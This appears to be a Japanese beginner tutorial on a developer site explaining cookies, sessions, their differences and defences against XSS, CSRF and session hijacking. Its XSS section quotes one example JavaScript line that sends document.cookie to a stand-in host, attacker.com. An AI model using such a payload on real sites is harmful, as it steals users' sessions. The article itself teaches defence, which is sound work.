4
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Web開発】クッキーとセッションの基礎知識

Posted at

はじめに

Webアプリケーションを開発する上で、「クッキー」と「セッション」は避けて通れない重要な概念です。ログイン状態の維持やショッピングカートの管理など、私たちが普段当たり前のように使っている機能の裏側では、これらの技術が活躍しています。

この記事では、クッキーとセッションの基本的な仕組みから、両者の違い、そして安全に使うためのポイントまでを解説します。初めて学ぶ方にも分かりやすく説明していきますね。

この記事で学べること

  • HTTPのステートレスな特性と状態管理の必要性
  • クッキーの仕組みと役割
  • セッションの仕組みと役割
  • クッキーとセッションの違いと使い分け
  • セキュリティ上の注意点

HTTPの特性を理解する

ステートレスとは何か

HTTPプロトコルは「ステートレス」という特性を持っています。ステートレスとは、サーバーがクライアントの状態を保持しないという意味です。

具体的には、以下のような動作をします。

サーバーは各リクエストを独立したものとして扱い、前回のリクエストで誰がアクセスしてきたのか、何をしていたのかという情報を記憶していません。

なぜ状態管理が必要なのか

しかし実際のWebアプリケーションでは、ユーザーごとに異なる体験を提供する必要があります。

  • ログイン状態を維持したい
  • ショッピングカートに商品を入れたままページ移動したい
  • ユーザーの設定や好みを記憶したい

このような要求を実現するために、クッキーとセッションという技術が使われています。

クッキー(Cookie)とは

クッキーの基本概念

クッキーは、Webサーバーがユーザーのブラウザに保存する小さなテキストデータです。ブラウザは一度保存したクッキーを、次回以降のリクエスト時にサーバーへ自動的に送信します。

これにより、サーバーは「このユーザーは前回アクセスした人だ」と識別できるようになります。

クッキーの仕組み

クッキーは以下のような流れで動作します。

  1. ユーザーが初めてWebサイトにアクセスする
  2. サーバーがレスポンスにSet-Cookieヘッダーを含めて送信
  3. ブラウザがクッキーを保存
  4. 次回以降、ブラウザは自動的にCookieヘッダーに情報を含めて送信
  5. サーバーはクッキーから情報を読み取る

クッキーに保存できる情報

クッキーには様々な情報を保存できますが、以下のような制限があります。

  • 1つのクッキーのサイズ: 最大4KB程度
  • 1つのドメインあたりのクッキー数: ブラウザによって異なるが、通常20〜50個程度
  • 保存できるのはテキストデータのみ

保存される情報の例としては、ユーザーIDや言語設定、テーマ設定などがあります。

セッション(Session)とは

セッションの基本概念

セッションは、サーバー側でユーザーの状態を管理する仕組みです。ユーザーごとにサーバー上にデータ保存領域を確保し、そこに情報を保存します。

クッキーがクライアント側に情報を保存するのに対し、セッションはサーバー側に情報を保存するという点が大きな違いです。

セッションの仕組み

セッションは以下のような流れで動作します。

  1. ユーザーが初めてアクセスすると、サーバーは新しいセッションを作成
  2. セッションIDという一意の識別子を生成
  3. セッションIDをクッキーとしてブラウザに送信
  4. ブラウザは次回以降、セッションIDを含めてリクエスト
  5. サーバーはセッションIDを使って保存されたデータを取得

セッションIDとは

セッションIDは、ユーザーを識別するためのランダムな文字列です。例えばa3fWa0f7h2k9m3n1p5q8r2s5t7u1v4w8x2y6z9のような長い文字列が生成されます。

このIDは推測が困難な形式で生成され、セキュリティを確保しています。

サーバー側でのセッション管理

サーバーはセッションデータを様々な場所に保存できます。

  • メモリ: 高速だが、サーバー再起動で消える
  • ファイルシステム: シンプルだが、複数サーバーでの共有が難しい
  • データベース: 永続化でき、複数サーバーで共有可能
  • Redis等のインメモリDB: 高速で永続化も可能

保存場所の選択は、アプリケーションの要件に応じて決定します。

クッキーとセッションの違い

クッキーとセッションは連携して使われることが多いですが、それぞれ異なる特性を持っています。主な違いを整理しましょう。

保存場所の違い

クッキー
ブラウザ(クライアント側)に保存されます。ユーザーは開発者ツールで内容を確認できますし、改ざんも可能です。

セッション
サーバー側に保存されます。ユーザーが直接アクセスすることはできません。

セキュリティの違い

クッキー

  • クライアント側にあるため、改ざんのリスクがある
  • ユーザーが内容を見ることができる
  • 機密情報を直接保存するのは危険

セッション

  • サーバー側にあるため、ユーザーが直接改ざんできない
  • セッションIDのみがクライアントに送られる
  • 機密情報を安全に保存できる

容量制限の違い

クッキー
1つのクッキーあたり約4KB、ドメインあたり数十個という制限があります。

セッション
サーバーのリソースが許す限り、大量のデータを保存できます。ただし、保存しすぎるとサーバーの負荷が高くなるため注意が必要です。

有効期限の違い

クッキー

  • Expires/Max-Age属性で明示的に期限を設定できる
  • 設定しない場合はブラウザを閉じると削除される(セッションクッキー)
  • 長期間の保存が可能(例: 1年間)

セッション

  • サーバー側で有効期限を管理
  • 一般的には30分程度の非アクティブ期間で失効
  • ブラウザを閉じるとセッションIDが失われるため、アクセスできなくなる

比較表

項目 クッキー セッション
保存場所 クライアント(ブラウザ) サーバー
セキュリティ 低(改ざん可能) 高(改ざん困難)
容量制限 約4KB/個 サーバー依存
有効期限 長期保存可能 短期(30分程度)
サーバー負荷 なし あり
適した用途 設定情報、トラッキング ログイン状態、機密情報

クッキーとセッションの関係

セッション管理にクッキーを使う理由

実は、セッションを実現するためにはクッキーが必要です。これは一見矛盾しているように感じるかもしれませんね。

セッションのデータはサーバー側に保存されますが、「どのセッションがどのユーザーのものか」を識別するために、セッションIDをクライアント側に保存する必要があります。このセッションIDの保存にクッキーが使われるのです。

セキュリティ上の注意点

クッキーとセッションを使う際には、セキュリティに十分配慮する必要があります。主な脅威と対策を見ていきましょう。

XSS対策

XSSはクロスサイトスクリプティングの略で、悪意のあるスクリプトをWebページに埋め込む攻撃です。

攻撃の例
攻撃者がJavaScriptを使ってクッキーを盗み出します。

// 攻撃者が埋め込む悪意のあるスクリプト
document.location='http://attacker.com/steal?cookie='+document.cookie;

対策

  • クッキーにHttpOnly属性を設定する
  • JavaScriptからクッキーにアクセスできなくなる
  • ユーザー入力を適切にエスケープする

CSRF対策

CSRFはクロスサイトリクエストフォージェリの略で、ユーザーの意図しないリクエストを送信させる攻撃です。

攻撃のフロー

対策

  • クッキーにSameSite属性を設定する
  • CSRFトークンを使用する
  • 重要な操作には再認証を要求する

セッションハイジャック対策

セッションハイジャックは、セッションIDを盗んで他人になりすます攻撃です。

攻撃手法

  • ネットワーク盗聴でセッションIDを取得
  • XSSでクッキーからセッションIDを盗む
  • セッションIDを推測する

対策

  • HTTPS通信を使用し、Secure属性を設定する
  • セッションIDを推測困難な形式で生成する
  • ログイン時にセッションIDを再生成する
  • 定期的にセッションIDを更新する
  • IPアドレスやUser-Agentの変化を検知する

安全なクッキーとセッションの使い方

セキュアな設定の例をまとめます。

クッキーの推奨設定

Set-Cookie: sessionId=abc123; 
  Secure;           // HTTPS通信のみ
  HttpOnly;         // JavaScript からアクセス不可
  SameSite=Strict;  // クロスサイトリクエストで送信しない
  Max-Age=3600;     // 有効期限を設定
  Path=/;           // 適切なパスを設定

セッションの推奨設定

  • セッションの有効期限を適切に設定(30分程度)
  • 非アクティブ期間での自動ログアウト
  • ログイン時のセッションID再生成
  • センシティブな操作前の再認証

まとめ

クッキーとセッションの使い分け

それぞれの特性を理解した上で、適切に使い分けることが重要です。

クッキーが適している場面

  • ユーザーの言語設定やテーマ設定
  • トラッキングID
  • 改ざんされても問題ない情報
  • 長期間保存したい情報

セッションが適している場面

  • ログイン状態の管理
  • ショッピングカートの内容
  • 機密情報や個人情報
  • 改ざんされると問題がある情報

実務での活用ポイント

実際の開発では、以下のポイントを意識しましょう。

  1. セキュリティを最優先に考える

    • 適切な属性設定を行う
    • HTTPSを使用する
    • 機密情報はセッションに保存する
  2. ユーザー体験を考慮する

    • 適切な有効期限を設定する
    • 不要なタイミングでログアウトさせない
    • パフォーマンスへの影響を考慮する
  3. スケーラビリティを考える

    • 複数サーバー環境でのセッション共有方法を検討する
    • セッションストレージの選択を適切に行う

クッキーとセッションは、現代のWebアプリケーションに欠かせない技術です。基本的な仕組みを理解し、セキュリティに配慮しながら適切に使用することで、快適で安全なWebサービスを提供できるようになります。

4
5
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?